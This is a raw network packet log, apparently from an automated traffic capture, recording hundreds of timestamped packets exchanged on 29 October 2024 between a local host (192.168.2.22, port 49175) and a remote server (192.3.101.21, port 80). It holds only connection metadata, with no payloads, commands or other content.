                                                                                                                                                                                                Oct 29, 2024 16:31:42.407098055 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.407118082 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.407154083 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.407175064 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.407176018 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.407195091 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.407210112 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.407222986 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.407248020 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.440135002 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.440160036 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.440192938 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.440216064 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.440229893 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.440345049 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.440359116 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.440457106 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.440505028 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.474006891 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.474029064 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.474045038 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.474060059 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.474076986 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.474240065 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.506753922 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.506772041 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.506803989 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.506820917 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.506885052 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.506908894 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.506975889 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.507013083 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.540076017 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.540129900 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.540147066 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.540162086 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.540335894 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.540513039 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.540628910 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.540707111 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.573283911 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.573344946 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.573362112 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.573376894 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.573455095 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.573478937 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.606703043 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.606746912 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.606770039 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.606789112 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.606796980 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.607623100 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.640230894 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.640274048 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.640290976 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.640305042 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.640322924 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.640335083 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.640436888 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.673707008 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.673751116 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.673768997 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.673804045 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.673852921 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.673898935 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.674021006 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.708895922 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.708914042 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.708930016 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.708987951 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.709183931 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.709245920 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.709358931 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.709373951 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.709450960 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.739806890 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.739856005 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.739871979 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.739958048 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.740164995 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.740181923 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.740196943 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.740227938 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.773292065 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.773327112 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.773350954 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.773365974 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.773422956 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.773425102 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.773462057 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.783755064 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.824855089 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.824898005 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.824914932 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.824929953 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.824945927 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.824954987 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.824995041 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.839819908 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.839905977 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.839920998 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.839957952 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.839972019 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.839981079 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.839989901 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.840055943 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.875412941 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.875432968 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.875449896 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.875521898 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.875652075 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.875731945 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.875776052 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.875801086 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.875859976 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.875865936 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.906378984 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.906414986 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.906431913 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.906446934 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.906461000 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.906464100 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.906486034 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.906502962 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.906544924 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.939713001 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.939760923 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.939786911 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.939801931 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.939861059 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.939893961 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.974018097 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.974208117 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.974247932 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.974262953 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.974297047 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:42.974302053 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:42.974338055 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.221849918 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.284643888 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.284673929 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.284691095 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.284729004 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.284744978 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.284750938 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.284794092 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.287926912 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.287950993 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.287966967 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.287982941 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.288000107 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.288009882 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.288043976 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289493084 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289509058 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289525032 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289541006 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289558887 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289565086 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289573908 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289589882 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289591074 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289606094 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289628983 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289630890 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289644957 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289659977 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289671898 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289707899 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289736986 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289753914 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289772034 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289787054 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289791107 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289803028 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289819956 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289835930 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.289875984 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.290007114 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.290023088 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.290039062 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.290055037 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.290065050 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.290071964 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.290101051 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.290127993 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.292385101 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.292409897 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.292440891 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.292457104 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.292475939 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.292505026 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.293484926 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.293509007 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.293524981 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.293545961 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.293550014 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.293569088 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.293585062 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.293601990 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.293617964 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.293652058 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.293705940 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.293705940 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619273901 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619293928 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619340897 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619364977 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619379997 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619385004 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619395971 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619452953 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619453907 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619498968 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619513035 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619530916 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619559050 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619570017 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619585991 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619600058 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619616032 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619631052 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619663000 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619704008 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619719028 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619743109 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619776011 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619787931 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619806051 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619822025 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619859934 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619906902 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619915009 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619924068 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619940042 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.619990110 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620043039 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620059967 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620085955 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620101929 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620107889 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620125055 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620161057 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620233059 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620249987 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620265007 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620280981 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620290995 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620297909 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620325089 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620342016 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620389938 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620393991 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620405912 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620429039 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.620510101 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.621757030 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.621812105 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.621819019 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625061035 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625118017 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625184059 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625232935 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625277996 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625281096 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625319958 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625336885 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625355005 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625379086 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625395060 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625406027 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625411034 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625427008 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625447035 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625456095 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625463963 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625493050 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625511885 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625526905 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.625564098 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.639101982 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.639193058 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.639223099 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.639264107 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.639293909 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.639338970 CET8049175192.3.101.21192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:43.639360905 CET4917580192.168.2.22192.3.101.21
                                                                                                                                                                                                Oct 29, 2024 16:31:43.671859980 CET8049175192.3.101.21192.168.2.22
